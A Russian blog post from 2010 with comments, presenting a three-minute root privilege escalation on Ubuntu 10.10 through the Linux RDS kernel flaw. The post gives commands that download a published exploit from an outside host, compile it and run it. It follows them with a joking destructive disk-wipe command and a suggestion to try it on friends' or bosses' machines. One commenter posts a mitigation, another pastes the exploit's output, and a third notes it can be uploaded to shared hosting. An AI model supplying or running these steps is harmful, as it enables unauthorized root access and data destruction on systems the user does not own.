Как взломать в Linux пароль на root за 3 минуты
Чтобы продемонстрировать всю мощь операционных систем на базе Linux попытаемся получить полномочия администратора без знания пароля. Да и зачем нам пароль, когда у нас есть протокол Reliable Datagram Sockets с хитрой дыркой внутри.
В одну руку берем, например, Ubuntu 10.10, а в другую окно терминала:
mkdir rds
cd rds
wget http://www.vsecurity.com/download/tools/linux-rds-exploit.c
gcc linux-rds-exploit.c
./a.out
#
Все, теперь мы — Администратор! Быстро делаем dd if=/dev/zero of=/dev/sda и идем искать новый дистрибутив. :)
Disclaimer: не пытайтесь повторить трюк дома. Используйте компьютеры друзей или начальства.
Комментарии
pomodor
24 октября, 2010 - 23:59
Ах да, забыл сказать. Чтобы не тренировались на вас нужно либо обновиться, либо использовать work around:
echo "alias net-pf-21 off" > /etc/modprobe.d/disable-rds
От имени админа, разумеется.
nakamuto
25 октября, 2010 - 08:06
И в чом прикол?
Выпендрился как всегда?
Прикол - не прикол , если он ясен только приколисту.
Я вот лично нихрена не понял,ЗА ЧЕМ ЭТОТ ОЧЕРЕДНОЙ ШЕДЕВР СЛУЖИТ??
pomodor
25 октября, 2010 - 08:16
А что именно непонятно? Эскалация привилегий. А очередной шедевр предназначен для демонстрации того, как эксплуатируются уязвимости на практике.
Кстати, кто-нибудь в курсе как маздайщики компилируют эксплоиты? Неужели идут в магазин и покупают Microsoft Visual Studio? ;)
Laestrygon
25 октября, 2010 - 13:56
Ага. За сто рублей.
w495
28 августа, 2011 - 02:17
mingw32, всякие местные венодовые компиляторы (по-моему cs --- дуфолтный), visual basic ^_^, javascript ^_^ (пишем создаем html-странику, cо скриптами и юзаем что-то совсем вендовое [ActiveX, к примеру], для красоты ставим ей расширение hta, и получаем полноценное приложение). Для совсем суровых (писать придется в машинных кодах) есть утилита debug.
pomodor
28 августа, 2011 - 03:14
Да, mingw классная штука. Под него даже есть удобная IDE — Bloodshed Dev-C++. Жалко что на Дельфях, т.е. развиваться больше не будет.
Еще недавно узнал, что для компиляции эксплоитов под Мадзай любят использовать компилятор LCC.
w495
28 августа, 2011 - 04:54
Dev-C++, по-моему не очень удобная вещь. Когда-то видел и даже что-то писал на ней. Чем она хороша? QtCreator --- сильно выигрывает на ее фоне. Даже без использования Qt.
Хмм, про lcc --- не знал, спасибо.
Чингачгук
25 октября, 2010 - 09:26
"и идем искать новый дистрибутив. :)"
И чего найдём? Во-первых, эта хрень работает во всех дистрибутивах, где ядра с 2.6.30 по 2.6.36-rc8. А во-вторых, даже ежели найдёшь дистрибутив, где быстренько наложили патч - что, для него чтоли не найдётся своего эксплоита, и его прям никто не могёт написать? Ну и в чём смысл поисков нового дистрибутива?
Или бытует мнение, что можно найти какой-то тотально безошибочный продукт, в котором нет и быть не может ни одной уязвимости? Дык разочарую, таких продуктов нет %)
pomodor
25 октября, 2010 - 09:51
Гы. ;) Побуду немного КО. Идем за новым дистрибутивом потому, что старый уже работать не будет. :) А не за тем, чтобы найти неуязвимый.
Чингачгук
25 октября, 2010 - 13:51
Вылаживаете 80$, покупаете рхел и неболит голова.
Или придется быть вечным тестером.
Laestrygon
25 октября, 2010 - 15:32
Фи как скучно. Получение root через grub гораздо веселее. И работает везде. Если конечно режим редактирования не заблокирован. Ну а еще веселее получать админа в винде.
pomodor
25 октября, 2010 - 17:02
Наоборот гораздо скучнее. Просто потому, что доступ через grub есть только к своему компьютеру, а эксплоит можно залить на любой компьютер, где есть акк. Например, на любой платный хостинг.
Чингачгук
28 октября, 2010 - 18:38
-laptop:~/Desktop/rds$ ./a.out
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xfab75a80
[+] Resolved rds_ioctl to 0xfab6f000
[+] Resolved commit_creds to 0xc016c830
[+] Resolved prepare_kernel_cred to 0xc016cc80
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Exploit failed to get root.
-laptop:~/Desktop/rds$
Комментировать